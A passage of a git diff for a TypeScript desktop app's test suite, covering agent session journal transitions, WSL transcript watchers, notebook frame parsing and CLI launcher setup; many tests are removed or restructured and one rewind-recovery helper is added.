sink.tryAppendTransition?.({ - lifecycle: false, - publish: true, - steps: [step('first'), step('refused-step'), step('third')] - }) - - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(identity('first')) - ]) + const step = (recordId: string) => + itemStep(() => ({ identity: identity(recordId), body: tool(recordId, 'running') })) + sink.tryAppendTransition?.({ + lifecycle: false, + publish: true, + steps: [step('first'), step('refused-step'), step('third')] }) - it('refuses a transition whole, so none of its steps ever lands', async () => { - const { journal, deferred, sink, bind } = await rig({ maxQueuedOperations: 1 }) - const step = (recordId: string) => - itemStep(() => ({ identity: identity(recordId), body: tool(recordId, 'running') })) - const admitted = { lifecycle: false, publish: false, steps: [step('a')] } - const refused = { lifecycle: false, publish: false, steps: [step('b'), step('c')] } + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(identity('first')) + ]) +}) - expect(sink.tryAppendTransition?.(admitted)).toEqual({ accepted: true }) - expect(sink.tryAppendTransition?.(refused)).toEqual({ - accepted: false, - reason: 'backpressure' - }) - bind() - await deferred.drained() +it('refuses a transition whole, so none of its steps ever lands', async () => { + const { journal, deferred, sink, bind } = await rig({ maxQueuedOperations: 1 }) + const step = (recordId: string) => + itemStep(() => ({ identity: identity(recordId), body: tool(recordId, 'running') })) + const admitted = { lifecycle: false, publish: false, steps: [step('a')] } + const refused = { lifecycle: false, publish: false, steps: [step('b'), step('c')] } - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(identity('a')) - ]) + expect(sink.tryAppendTransition?.(admitted)).toEqual({ accepted: true }) + expect(sink.tryAppendTransition?.(refused)).toEqual({ + accepted: false, + reason: 'backpressure' }) + bind() + await deferred.drained() - it('settles from the rows as they stand, in consecutive rows when one cannot hold them', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - const running = Array.from({ length: 250 }, (_, index) => identity(`tool-${index}`)) - for (const id of running) { - sink.tryAppendItem?.(id, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - } - sink.tryAppendItem?.(identity('done'), tool('read', 'completed'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect( - sink.tryAppendTransition?.({ - lifecycle: true, - publish: true, - steps: [ - { - kind: 'settlement', - settlementId: 'settle-all', - reservedBytes: 1, - // Include an already-settled candidate so the fold must exclude it. - resolve: (view) => - [...running, identity('done')].flatMap((id) => { - const body = view.itemBody(agentJournalItemKey(id)) - return body?.kind === 'tool-call' && body.state === 'running' - ? [ - { - kind: 'item' as const, - identity: id, - body: { ...body, state: 'failed' as const }, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ] - : [] - }) - } - ] - }) - ).toEqual({ accepted: true }) - sink.tryAppendItem?.(identity('after'), tool('after', 'running'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await deferred.drained() + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(identity('a')) + ]) +}) - const items = journal.snapshot().items - const sequenceOf = (recordId: string) => - items.find((item) => item.itemId === agentJournalItemKey(identity(recordId)))?.sequence ?? 0 - expect( - items.filter((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') - ).toHaveLength(250) - expect( - items.find((item) => item.itemId === agentJournalItemKey(identity('done')))?.body - ).toMatchObject({ state: 'completed' }) - expect(sequenceOf('after') - sequenceOf('done')).toBe(3) - expect(publishes).toHaveLength(1) +it('settles from the rows as they stand, in consecutive rows when one cannot hold them', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + const running = Array.from({ length: 250 }, (_, index) => identity(`tool-${index}`)) + for (const id of running) { + sink.tryAppendItem?.(id, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + } + sink.tryAppendItem?.(identity('done'), tool('read', 'completed'), { + turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - - it('leaves no row of a settlement durable when a later one of its rows fails to write', async () => { - const { root, journal, deferred, sink, bind } = await rig() - bind() - const running = Array.from({ length: 250 }, (_, index) => identity(`tool-${index}`)) - for (const id of running) { - sink.tryAppendItem?.(id, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - } - await deferred.drained() - const before = journal.cursor().sequence - // Abort the second insert to verify settlement transaction atomicity. - openTestJournalHostDatabase(root).db.exec(`CREATE TEMP TRIGGER fail_second_chunk -BEFORE INSERT ON main.journal_rows WHEN NEW.seq = ${before + 2} -BEGIN SELECT RAISE(ABORT, 'second chunk refused'); END`) + expect( sink.tryAppendTransition?.({ lifecycle: true, publish: true, @@ -321,104 +188,39 @@ BEGIN SELECT RAISE(ABORT, 'second chunk refused'); END`) kind: 'settlement', settlementId: 'settle-all', reservedBytes: 1, - resolve: () => running.map(failedTool) + // Include an already-settled candidate so the fold must exclude it. + resolve: (view) => + [...running, identity('done')].flatMap((id) => { + const body = view.itemBody(agentJournalItemKey(id)) + return body?.kind === 'tool-call' && body.state === 'running' + ? [ + { + kind: 'item' as const, + identity: id, + body: { ...body, state: 'failed' as const }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + : [] + }) } ] }) - - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.cursor().sequence).toBe(before) - expect( - journal - .snapshot() - .items.filter((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') - ).toEqual([]) + ).toEqual({ accepted: true }) + sink.tryAppendItem?.(identity('after'), tool('after', 'running'), { + turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + await deferred.drained() - it('writes and announces nothing when a step resolves to nothing', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - sink.tryAppendTransition?.({ - lifecycle: true, - publish: true, - steps: [ - itemStep(() => null), - { kind: 'settlement', settlementId: 'none', reservedBytes: 1, resolve: () => [] } - ] - }) - await deferred.drained() - - expect(journal.snapshot().items).toEqual([]) - expect(publishes).toEqual([]) - }) - - it('lands a write a step issues while it runs after the whole transition', async () => { - const { journal, deferred, sink, bind } = await rig() - bind() - sink.tryAppendTransition?.({ - lifecycle: false, - publish: false, - steps: [ - itemStep(() => { - // Nested writes must wait until the whole transition finishes. - sink.tryAppendItem?.(identity('nested'), tool('nested', 'running'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - return { identity: identity('first'), body: tool('first', 'running') } - }), - itemStep(() => ({ identity: identity('second'), body: tool('second', 'running') })) - ] - }) - await deferred.drained() - - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual( - ['first', 'second', 'nested'].map((recordId) => agentJournalItemKey(identity(recordId))) - ) - }) -}) - -describe('resolved lifecycle batches', () => { - it('refuses, before writing anything, a settlement that names one item twice', async () => { - const { journal } = await rig() - const before = journal.cursor().sequence - const twice = identity('twice') - - await expect( - journal.appendSteps([ - { - kind: 'settlement', - batch: { - settlementId: 'twice', - fence: 1, - resolve: () => [failedTool(identity('once')), failedTool(twice), failedTool(twice)] - } - } - ]) - ).rejects.toThrow('journal_resolved_lifecycle_batch_names_item_twice') - expect(journal.cursor().sequence).toBe(before) - }) -}) - -describe('coalescer text a caller writes itself', () => { - it('reports unwritten streams and owes nothing once the caller marks them written', () => { - const emitted: string[] = [] - const coalescer = createAgentSessionDeltaCoalescer({ - emit: (_key, text) => { - emitted.push(text) - }, - schedule: () => () => {} - }) - coalescer.append('a', 'Hel') - coalescer.append('b', 'Wor') - coalescer.append('a', 'lo') - - expect(coalescer.dirty().map(({ key, snapshot }) => [key, snapshot.text])).toEqual([ - ['a', 'Hello'], - ['b', 'Wor'] - ]) - coalescer.markFlushed('a') - coalescer.flushAll() - expect(emitted).toEqual(['Wor']) - expect(coalescer.dirty()).toEqual([]) - }) + const items = journal.snapshot().items + const sequenceOf = (recordId: string) => + items.find((item) => item.itemId === agentJournalItemKey(identity(recordId)))?.sequence ?? 0 + expect( + items.filter((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') + ).toHaveLength(250) + expect( + items.find((item) => item.itemId === agentJournalItemKey(identity('done')))?.body + ).toMatchObject({ state: 'completed' }) + expect(sequenceOf('after') - sequenceOf('done')).toBe(3) + expect(publishes).toHaveLength(1) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-unopened-tab.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-unopened-tab.test.ts index bc9804bbb25..390d1fc550a 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-unopened-tab.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-unopened-tab.test.ts @@ -75,7 +75,7 @@ async function relaunchWith( const damaged = (db: Database.Database) => updateTestJournalRowJson(db, SESSION, 1, '}{') const savedByNewerOrca = (db: Database.Database) => { const epochRow = liveTestJournalRows(db, SESSION).find((row) => row.seq === 1)! - const newer = { ...JSON.parse(epochRow.rowJson), v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION + 1 } + const newer = { ...JSON.parse(epochRow.rowJson), v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION + 2 } updateTestJournalRowJson(db, SESSION, 1, JSON.stringify(newer)) } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-wire-admission.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-wire-admission.test.ts index 2da481da24c..43dcc39382b 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-wire-admission.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-wire-admission.test.ts @@ -32,7 +32,7 @@ const LARGE_TEXT = 'x'.repeat(250 * 1024) let root: string let journal: AgentSessionJournal -const journals = createTrackedJournalOpener() +const journals = createTrackedJournalOpener({ legacyInputs: true }) beforeEach(async () => { root = await mkdtemp(join(tmpdir(), 'orca-wire-admission-')) diff --git a/src/main/native-chat/agent-session-wire/structured-rewind-recovery.ts b/src/main/native-chat/agent-session-wire/structured-rewind-recovery.ts index 7935b2112ce..70b183ce1ef 100644 --- a/src/main/native-chat/agent-session-wire/structured-rewind-recovery.ts +++ b/src/main/native-chat/agent-session-wire/structured-rewind-recovery.ts @@ -1,3 +1,8 @@ +import { structuredAgentSessionConversationFence } from './structured-agent-session-provider-child' +import type { + StructuredAgentSessionHostDeps, + StructuredAgentSessionHostSession +} from './structured-agent-session-host-types' import { waitForPromiseWithSignal } from '../../../shared/abort-signal-reason' import { parseAgentJournalItemKey } from '../../../shared/agent-session-journal-item-key' import { agentSessionProviderHandleChainHead } from '../../../shared/agent-session-provider-handle' @@ -275,6 +280,24 @@ export async function applyStructuredRewindRecovery( }) } +/** Settle prepared rewinds orphaned across processes; provider-only proof waits for the next proven start. */ +export async function settleInterruptedStructuredAgentSessionCommands( + deps: StructuredAgentSessionHostDeps, + sessionId: string, + session: StructuredAgentSessionHostSession +): Promise { + const fence = structuredAgentSessionConversationFence(deps.store, sessionId) + try { + await recoverStructuredRewind(deps, sessionId, session.journal, fence) + } catch (error) { + deps.logger.warn('settling an interrupted rewind on open failed', { + scope: 'rewind-recovery', + sessionId, + error + }) + } +} + function inheritForkName( deps: RewindRecoveryDeps, sessionId: string, diff --git a/src/main/native-chat/native-chat-visuals-sweep.test.ts b/src/main/native-chat/native-chat-visuals-sweep.test.ts index 736a5d096e5..5c4f014b81b 100644 --- a/src/main/native-chat/native-chat-visuals-sweep.test.ts +++ b/src/main/native-chat/native-chat-visuals-sweep.test.ts @@ -130,31 +130,6 @@ describe('the visuals folder sweep', () => { expect(existsSync(join(target, 'keep.txt'))).toBe(true) }) - it('reports a removal that fails and carries on', async () => { - const state = stateDirectory() - visualsFor(state, 'chat-x') - visualsFor(state, 'chat-y') - const sweep = deps(state, []) - const result = await sweepNativeChatVisualsFolders({ - ...sweep, - remove: vi - .fn() - .mockRejectedValueOnce(Object.assign(new Error('busy'), { code: 'EBUSY' })) - .mockResolvedValueOnce(undefined) - }) - expect(result).toEqual({ removed: 1, failed: 1 }) - expect(sweep.logger.warn).toHaveBeenCalledWith( - 'native-chat scratch folder could not be removed', - expect.objectContaining({ scope: 'nativeChatVisuals.sweep', reason: 'no-record' }) - ) - }) - - it('does nothing on a host with no visuals yet', async () => { - await expect( - sweepNativeChatVisualsFolders(deps(stateDirectory(), ['chat-a'])) - ).resolves.toEqual({ removed: 0, failed: 0 }) - }) - it('runs after startup and again later, and stops for good', async () => { const state = stateDirectory() const orphan = visualsFor(state, 'chat-z') diff --git a/src/main/native-chat/transcript-watch-engine-wsl-lifecycle.test.ts b/src/main/native-chat/transcript-watch-engine-wsl-lifecycle.test.ts index 51569737e72..053f5451af1 100644 --- a/src/main/native-chat/transcript-watch-engine-wsl-lifecycle.test.ts +++ b/src/main/native-chat/transcript-watch-engine-wsl-lifecycle.test.ts @@ -129,29 +129,6 @@ describe('installed WSL transcript watcher lifecycle', () => { subscription?.unsubscribe() }) - it('returns the running reconciliation promise to the shared observer', async () => { - const subscription = await installTranscriptWatcher(UNC_PATH, () => null, { - agent: 'codex', - sessionId: 'wsl-session', - onAppend: () => {} - }) - await vi.advanceTimersByTimeAsync(50) - let finishStat: (() => void) | undefined - mocks.stat.mockImplementationOnce( - () => - new Promise((resolve) => { - finishStat = () => resolve(EMPTY_STATS) - }) - ) - - const reconciliation = mocks.observation?.(true) - expect(reconciliation).toBeInstanceOf(Promise) - await vi.waitFor(() => expect(finishStat).toBeDefined()) - finishStat?.() - await reconciliation - subscription?.unsubscribe() - }) - it('defers a failed observed UNC probe to the next shared observation', async () => { const subscription = await installTranscriptWatcher(UNC_PATH, () => null, { agent: 'codex', diff --git a/src/main/native-chat/transcript-watch-error.test.ts b/src/main/native-chat/transcript-watch-error.test.ts index d2cf5c2bd9f..7dc72ca8f06 100644 --- a/src/main/native-chat/transcript-watch-error.test.ts +++ b/src/main/native-chat/transcript-watch-error.test.ts @@ -53,27 +53,6 @@ afterEach(async () => { }) describe('native chat transcript watcher errors', () => { - it('handles a watcher error and rebinds after the directory is readable', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-native-chat-watch-error-')) - roots.push(root) - const filePath = join(root, 'transcript.jsonl') - await writeFile(filePath, '') - const subscription = await subscribeNativeChatTranscript({ - agent: 'claude', - sessionId: 'session', - filePath, - onAppend: () => {}, - debounceMs: 0 - }) - - expect(() => watchers[0]!.emit('error', new Error('EPERM'))).not.toThrow() - await vi.waitFor(() => expect(watchMock).toHaveBeenCalledTimes(2)) - - subscription.unsubscribe() - expect(watchers[0]!.close).toHaveBeenCalledOnce() - expect(watchers[1]!.close).toHaveBeenCalledOnce() - }) - it('keeps retrying after the old recovery window and tails a recreated directory', async () => { const root = await mkdtemp(join(tmpdir(), 'orca-native-chat-watch-gap-')) roots.push(root) @@ -113,34 +92,6 @@ describe('native chat transcript watcher errors', () => { expect(watchers[1]!.close).toHaveBeenCalledOnce() }) - it('surfaces an error snapshot when the initial drain throws', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-native-chat-initial-error-')) - roots.push(root) - const filePath = join(root, 'transcript.jsonl') - await writeFile(filePath, '') - tailReaderState.failure = new Error('deterministic read failure') - const onInitialSnapshot = vi.fn() - const onAppend = vi.fn() - const subscription = await subscribeNativeChatTranscript({ - agent: 'claude', - sessionId: 'session', - filePath, - onInitialSnapshot, - onAppend, - initialLimit: 40, - debounceMs: 0 - }) - expect(subscription.watching).toBe(true) - - await vi.waitFor(() => - expect(onInitialSnapshot).toHaveBeenCalledWith([], false, 0, 'Transcript unavailable') - ) - await new Promise((resolve) => setTimeout(resolve, 120)) - expect(onInitialSnapshot).toHaveBeenCalledOnce() - - subscription.unsubscribe() - }) - it('still wins with a real initial snapshot once the transcript becomes readable', async () => { const root = await mkdtemp(join(tmpdir(), 'orca-native-chat-initial-recover-')) roots.push(root) diff --git a/src/main/native-chat/transcript-watch-resolve-poll.test.ts b/src/main/native-chat/transcript-watch-resolve-poll.test.ts index 135ea85a2bb..300a6094c8d 100644 --- a/src/main/native-chat/transcript-watch-resolve-poll.test.ts +++ b/src/main/native-chat/transcript-watch-resolve-poll.test.ts @@ -124,19 +124,6 @@ describe('native chat transcript resolve polling', () => { subscription.unsubscribe() }) - it('keeps resolving on every retry when no exact hook path is available', async () => { - const subscription = await subscribeNativeChatTranscript({ - agent: 'claude', - sessionId: 'session-id', - resolvePollIntervalMs: 10, - onAppend: () => {} - }) - - await vi.advanceTimersByTimeAsync(35) - expect(mocks.resolve.mock.calls.length).toBeGreaterThan(1) - subscription.unsubscribe() - }) - it('degrades a gate-refused initial resolve to the poll fallback instead of failing', async () => { const engine = { unsubscribe: vi.fn(), watching: true } mocks.resolve @@ -160,18 +147,6 @@ describe('native chat transcript resolve polling', () => { expect(engine.unsubscribe).toHaveBeenCalled() }) - it('still fails subscribe on non-gate resolver errors', async () => { - mocks.resolve.mockRejectedValueOnce(new Error('resolver crashed')) - - await expect( - subscribeNativeChatTranscript({ - agent: 'claude', - sessionId: 'session-id', - onAppend: () => {} - }) - ).rejects.toThrow('resolver crashed') - }) - it('cancels queued WSL resolution when the subscription closes', async () => { setPlatform('win32') let receivedSignal: AbortSignal | undefined diff --git a/src/main/native-chat/transcript-watch-wsl-exact-path.test.ts b/src/main/native-chat/transcript-watch-wsl-exact-path.test.ts index 72e26ce7cb0..7aea340b037 100644 --- a/src/main/native-chat/transcript-watch-wsl-exact-path.test.ts +++ b/src/main/native-chat/transcript-watch-wsl-exact-path.test.ts @@ -113,26 +113,6 @@ describe('exact hook path install on a Windows host with WSL (#10326)', () => { subscription.unsubscribe() }) - it('passes the raw path through untouched off Windows', async () => { - setPlatform('darwin') - const subscription = await subscribeNativeChatTranscript({ - agent: 'codex', - sessionId: 'wsl-sess', - transcriptPath: ROLLOUT_LINUX, - resolvePollIntervalMs: 10, - onAppend: () => {} - }) - - await vi.advanceTimersByTimeAsync(50) - expect(mocks.install).toHaveBeenCalledWith( - ROLLOUT_LINUX, - expect.anything(), - expect.anything(), - expect.any(AbortSignal) - ) - subscription.unsubscribe() - }) - it('validates an exact UNC path without probing distro homes', async () => { setPlatform('win32') const subscription = await subscribeNativeChatTranscript({ @@ -154,23 +134,6 @@ describe('exact hook path install on a Windows host with WSL (#10326)', () => { subscription.unsubscribe() }) - it('does not install an already-UNC path after its distro stops', async () => { - setPlatform('win32') - mocks.listRunningWslDistrosAsync.mockResolvedValue([]) - const subscription = await subscribeNativeChatTranscript({ - agent: 'codex', - sessionId: 'wsl-sess', - transcriptPath: ROLLOUT_UNC, - resolvePollIntervalMs: 10, - onAppend: () => {} - }) - - await vi.advanceTimersByTimeAsync(2_100) - expect(mocks.listRunningWslDistrosAsync).toHaveBeenCalledTimes(1) - expect(mocks.install).not.toHaveBeenCalled() - subscription.unsubscribe() - }) - it('does not run broad id fallback for an unresolved exact WSL path', async () => { setPlatform('win32') mocks.listRunningWslDistrosAsync.mockResolvedValue([]) diff --git a/src/main/native-chat/transcript-watch-wsl-stall.test.ts b/src/main/native-chat/transcript-watch-wsl-stall.test.ts index 6754db50724..a83f91272e7 100644 --- a/src/main/native-chat/transcript-watch-wsl-stall.test.ts +++ b/src/main/native-chat/transcript-watch-wsl-stall.test.ts @@ -39,15 +39,8 @@ const SLOW_MESSAGE = type Snapshot = [NativeChatMessage[], boolean, number, string | undefined] -let releaseStall: (() => void) | undefined let unhandled: unknown[] = [] -function stalls(): Promise { - return new Promise((resolve) => { - releaseStall = () => resolve(undefined as T) - }) -} - function subscribeCollecting(snapshots: Snapshot[]) { return subscribeNativeChatTranscript({ agent: 'claude', @@ -72,14 +65,12 @@ beforeEach(() => { mocks.resolve.mockReset() mocks.stat.mockReset() mocks.open.mockReset() - releaseStall = undefined unhandled = [] process.on('unhandledRejection', trackUnhandled) vi.useFakeTimers() }) afterEach(async () => { - releaseStall?.() await vi.advanceTimersByTimeAsync(0) vi.useRealTimers() process.off('unhandledRejection', trackUnhandled) @@ -165,18 +156,4 @@ describe('native chat transcript subscription with a stalled install stat', () = expect(handle.close).toHaveBeenCalledTimes(1) expect(unhandled).toEqual([]) }) - - it('tears down cleanly while an admission is still stalled', async () => { - mocks.resolve.mockResolvedValue(UNC_PATH) - mocks.stat.mockImplementation(stalls) - const snapshots: Snapshot[] = [] - - const subscribing = subscribeCollecting(snapshots) - await vi.advanceTimersByTimeAsync(WSL_TRANSCRIPT_FS_EXACT_TIMEOUT_MS + 1) - const subscription = await subscribing - - expect(() => subscription.unsubscribe()).not.toThrow() - await vi.advanceTimersByTimeAsync(WSL_TRANSCRIPT_FS_EXACT_TIMEOUT_MS + 1) - expect(unhandled).toEqual([]) - }) }) diff --git a/src/main/native-chat/wsl-transcript-fs-route-quarantine.test.ts b/src/main/native-chat/wsl-transcript-fs-route-quarantine.test.ts index de6a9e7a16d..782ce89a59e 100644 --- a/src/main/native-chat/wsl-transcript-fs-route-quarantine.test.ts +++ b/src/main/native-chat/wsl-transcript-fs-route-quarantine.test.ts @@ -6,12 +6,7 @@ import { WSL_TRANSCRIPT_FS_ROUTE_QUARANTINE_BASE_MS, WSL_TRANSCRIPT_FS_SCAN_TIMEOUT_MS } from './wsl-transcript-fs-gate' -import { - _getBlockedRouteCountForTests, - quarantineRoute, - resetRouteQuarantinesForTests, - WSL_TRANSCRIPT_FS_ROUTE_STRIKE_DECAY_MS -} from './wsl-transcript-fs-route-quarantine' +import { WSL_TRANSCRIPT_FS_ROUTE_STRIKE_DECAY_MS } from './wsl-transcript-fs-route-quarantine' function deferred(): { promise: Promise @@ -144,12 +139,3 @@ describe('WSL transcript fs route quarantine strike accounting', () => { } }) }) - -it('bounds retired route entries', () => { - resetRouteQuarantinesForTests() - for (let index = 0; index < 600; index += 1) { - quarantineRoute(`route-${index}`, 1_000, 0) - } - - expect(_getBlockedRouteCountForTests()).toBeLessThanOrEqual(512) -}) diff --git a/src/main/notebook/notebook-kernel.test.ts b/src/main/notebook/notebook-kernel.test.ts index ea3894b4c42..5933fd0c0d8 100644 --- a/src/main/notebook/notebook-kernel.test.ts +++ b/src/main/notebook/notebook-kernel.test.ts @@ -18,28 +18,6 @@ function collect(chunks: string[]): unknown[] { } describe('createFrameReader', () => { - it('reassembles frames split across chunks and skips stray lines', () => { - const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) - try { - expect( - collect([ - 'warning: something printed\n{"type": "rea', - 'dy"}\n{"type": "stream", "content": {"name": "stdout", "text": "hi"}}\n[1, 2]\n', - '{"type": "missing", "externallyManaged": true}\n{"type": "missing"}\n', - '{"type": "unknown"}\n{"type": "done", "status": "ok", "execution_count": 3}\n{"partial' - ]) - ).toEqual([ - { type: 'ready' }, - { type: 'stream', content: { name: 'stdout', text: 'hi' } }, - { type: 'missing', externallyManaged: true }, - { type: 'missing', externallyManaged: false }, - { type: 'done', status: 'ok', execution_count: 3 } - ]) - } finally { - warn.mockRestore() - } - }) - it('avoids repeatedly scanning an incomplete image record for newlines', () => { const frame = { type: 'display_data', content: { data: { 'image/png': 'x'.repeat(524_288) } } } const wire = `${JSON.stringify(frame)}\n` @@ -83,21 +61,6 @@ describe('createFrameReader', () => { expect(scannedCharacters).toBeLessThanOrEqual(wire.length * 2) }) - it('does not measure record bytes when no size limit applies', () => { - const frame = { type: 'display_data', content: { data: { 'image/png': 'x'.repeat(65_536) } } } - const byteLength = vi.spyOn(Buffer, 'byteLength') - let frames: unknown[] - let measurements: number - try { - frames = collect([`${JSON.stringify(frame)}\n`]) - measurements = byteLength.mock.calls.length - } finally { - byteLength.mockRestore() - } - expect(frames).toEqual([frame]) - expect(measurements).toBe(0) - }) - it('preserves code units at every split boundary', () => { const frames = [ { type: 'stream', content: { text: 'café 漢字 🐋\n\u0000' } }, diff --git a/src/main/opencode/hook-plugin-background-child-completion.test.ts b/src/main/opencode/hook-plugin-background-child-completion.test.ts index 8849cbc8032..40eb27b0cbf 100644 --- a/src/main/opencode/hook-plugin-background-child-completion.test.ts +++ b/src/main/opencode/hook-plugin-background-child-completion.test.ts @@ -177,23 +177,6 @@ describe('OpenCode plugin background child completion', () => { expect(posts.at(-1)?.sessionID).toBe('root') }) - it('retires a background child through an Idle whose ancestry cannot be resolved', async () => { - let resolvable = true - const hooks = await createHooks([], async () => - resolvable ? { data: TASK_TREE } : Promise.reject(new Error('sdk outage')) - ) - - await hooks.event({ event: status('busy', 'root') }) - await hooks.event({ event: status('busy', 'child') }) - await hooks.event({ event: status('idle', 'root') }) - expect(names()).not.toContain('SessionIdle') - - resolvable = false - await hooks.event({ event: status('idle', 'child') }) - - expect(names()).toEqual(['SessionBusy', 'SessionIdle']) - }) - it('drops a disposed factory background child instead of pinning the pane', async () => { const first = await createHooks(TASK_TREE) const second = await createHooks(TASK_TREE) diff --git a/src/main/opencode/hook-service-startup-refresh.test.ts b/src/main/opencode/hook-service-startup-refresh.test.ts index 09028d9589b..c179d5e0b54 100644 --- a/src/main/opencode/hook-service-startup-refresh.test.ts +++ b/src/main/opencode/hook-service-startup-refresh.test.ts @@ -69,13 +69,6 @@ describe('OpenCodeHookService.refreshInstalledPlugins (app start)', () => { expect(readFileSync(join(pluginsDir, TUI_ENTRY), 'utf8')).toBe(getOpenCode2PluginSource()) }) - it('never creates an install the user did not already have', () => { - openCode2HookService.refreshInstalledPlugins() - - expect(existsSync(resolveOpenCodeConfigDirectory())).toBe(false) - expect(existsSync(join(userDataDir, 'opencode2-config-overlays'))).toBe(false) - }) - it('leaves a current install untouched so nothing reloads', () => { const pluginsDir = join(resolveOpenCodeConfigDirectory(), 'plugins') mkdirSync(join(pluginsDir, 'orca-opencode2-status-tui'), { recursive: true }) diff --git a/src/main/orca-profiles/profile-cloud-session-refresh.test.ts b/src/main/orca-profiles/profile-cloud-session-refresh.test.ts index 6aa1723d375..b934697a178 100644 --- a/src/main/orca-profiles/profile-cloud-session-refresh.test.ts +++ b/src/main/orca-profiles/profile-cloud-session-refresh.test.ts @@ -275,16 +275,4 @@ describe('refresh-token replay after an ambiguous attempt', () => { expect(invalidated).toHaveBeenCalledTimes(1) unsubscribe() }) - - it('does not mark a 401 that follows no ambiguous attempt', async () => { - const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) - refreshMock.mockRejectedValue(new OrcaCloudRequestError(401)) - - await expect(readFreshOrcaCloudSession(config, active, '/data')).resolves.toEqual({ - status: 'reconnect-required' - }) - - expect(warn.mock.calls.flat().join(' ')).not.toContain('orca_cloud_refresh_possible_replay') - expect(clearMock).toHaveBeenCalledTimes(1) - }) }) diff --git a/src/main/orca-profiles/profile-cloud-session-store.test.ts b/src/main/orca-profiles/profile-cloud-session-store.test.ts index 2a7153c901d..ca32f0529f1 100644 --- a/src/main/orca-profiles/profile-cloud-session-store.test.ts +++ b/src/main/orca-profiles/profile-cloud-session-store.test.ts @@ -136,17 +136,6 @@ describe('Orca cloud session store', () => { } }) - it('bounds memory-session cache churn', async () => { - const store = await loadSessionStore() - const session = makeSession() - - for (let index = 0; index < store.MAX_MEMORY_CLOUD_SESSIONS + 4; index += 1) { - store.saveOrcaCloudSession(`profile-${index}`, userDataPath, session) - } - - expect(store.getOrcaCloudMemorySessionCountForTests()).toBe(store.MAX_MEMORY_CLOUD_SESSIONS) - }) - it('writes explicit dev plaintext only when the dev escape hatch is enabled', async () => { safeStorageMock.isEncryptionAvailable.mockReturnValue(false) vi.stubEnv('ORCA_CLOUD_ALLOW_PLAINTEXT_SESSION', '1') diff --git a/src/main/orcad/orcad-cli-launcher.test.ts b/src/main/orcad/orcad-cli-launcher.test.ts index b4994efb70c..9a01ee0320f 100644 --- a/src/main/orcad/orcad-cli-launcher.test.ts +++ b/src/main/orcad/orcad-cli-launcher.test.ts @@ -103,22 +103,6 @@ describe('orcad profile CLI launcher', () => { } ) - it.skipIf(process.platform === 'win32')( - 'refreshes the launcher when the host switches server slots', - async () => { - await writeCli() - await prepareOrcadCliLauncher() - roots.install = join(directory, 'updated server') - await writeCli() - await prepareOrcadCliLauncher() - const launcher = getOrcadCliLauncherPath() - if (!launcher) { - throw new Error('CLI launcher is missing') - } - expect(await readFile(launcher, 'utf8')).toContain(roots.install) - } - ) - it('leaves old slots without a CLI usable and clears a previous launcher', async () => { await writeCli() await prepareOrcadCliLauncher() @@ -127,24 +111,6 @@ describe('orcad profile CLI launcher', () => { expect(getOrcadCliLauncherPath()).toBeNull() }) - describe('on a Linux host', () => { - beforeEach(() => { - Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' }) - }) - - it('refreshes both CLI names when the runtime switches server slots', async () => { - await writeCli() - await prepareOrcadCliLauncher() - roots.install = join(directory, 'updated server') - await writeCli() - await prepareOrcadCliLauncher() - const binDir = join(roots.profile, 'cli', 'bin') - const script = await readFile(join(binDir, 'orca-ide'), 'utf8') - expect(script).toContain(roots.install) - expect(script).toBe(await readFile(join(binDir, 'orca'), 'utf8')) - }) - }) - describe('on a Windows host', () => { beforeEach(() => { Object.defineProperty(process, 'platform', { configurable: true, value: 'win32' }) @@ -192,11 +158,5 @@ describe('orcad profile CLI launcher', () => { expect(await readFile(join(binDir(), 'orca.exe'), 'utf8')).toBe('native launcher v2') expect(await readConfig()).toContain(`cli=${join(roots.install, 'out', 'cli', 'index.js')}`) }) - - it('leaves a slot without the native launcher with no orca command', async () => { - await writeCli() - await prepareOrcadCliLauncher() - expect(getOrcadCliLauncherPath()).toBeNull() - }) }) }) diff --git a/src/main/orcad/orcad-native-preflight.test.ts b/src/main/orcad/orcad-native-preflight.test.ts deleted file mode 100644 index 321787aa4e0..00000000000 --- a/src/main/orcad/orcad-native-preflight.test.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { afterEach, describe, expect, it, vi } from 'vitest' -import { runOrcadNativePreflight, runOrcadNativePreflightVerdict } from './orcad-native-preflight' -import { 